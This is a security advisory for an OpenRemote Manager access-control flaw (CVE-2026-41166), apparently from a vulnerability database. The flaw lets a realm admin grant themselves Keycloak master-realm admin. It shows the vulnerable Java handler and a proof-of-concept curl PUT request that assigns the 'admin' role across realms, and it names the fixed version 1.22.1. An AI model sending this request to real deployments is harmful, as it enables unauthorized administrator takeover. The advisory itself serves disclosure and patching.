GHSA-49VV-25QX-MG44
Vulnerability from github – Published: 2026-04-22 14:38 – Updated: 2026-04-22 14:38Summary
A user who has write:admin in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including master. The handler uses the {realm} path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to master realm administrator if the attacker controls any user in master realm.
Details
In manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java, there is no check to validate if the caller should be able to administer a realm they're trying to update.
```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java @Override public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) { try { identityService.getIdentityProvider().updateUserRealmRoles( realm, userId, roles); } catch (ClientErrorException ex) { ex.printStackTrace(System.out); throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus()); } catch (Exception ex) { throw new WebApplicationException(ex); } }
### PoC
1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).
2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (`<master-user-uuid>`).
3. Authenticate as the user from step 1 and obtain a Bearer access token (`<token>`) for `NEW_REALM`.
4. Replace placeholders and run:
```bash
curl -k -X PUT "https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '["admin"]'
- In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.
Impact
An attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41166"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T14:38:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm.\n\n### Details\nIn `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they\u0027re trying to update.\n\n```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java\n @Override\n public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {\n try {\n identityService.getIdentityProvider().updateUserRealmRoles(\n realm,\n userId,\n roles);\n } catch (ClientErrorException ex) {\n ex.printStackTrace(System.out);\n throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());\n } catch (Exception ex) {\n throw new WebApplicationException(ex);\n }\n }\n```\n\n### PoC\n1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).\n2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user\u2019s UUID (`\u003cmaster-user-uuid\u003e`).\n3. Authenticate as the user from step 1 and obtain a Bearer access token (`\u003ctoken\u003e`) for `NEW_REALM`.\n4. Replace placeholders and run:\n```bash\ncurl -k -X PUT \"https://\u003chost\u003e/api/\u003cNEW_REALM\u003e/user/master/userRealmRoles/\u003cmaster-user-uuid\u003e\" \\\n -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027[\"admin\"]\u0027\n```\n5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.\n### Impact\nAn attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.",
"id": "GHSA-49vv-25qx-mg44",
"modified": "2026-04-22T14:38:23Z",
"published": "2026-04-22T14:38:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/releases/tag/1.22.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has Improper Access Control via updateUserRealmRoles function"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.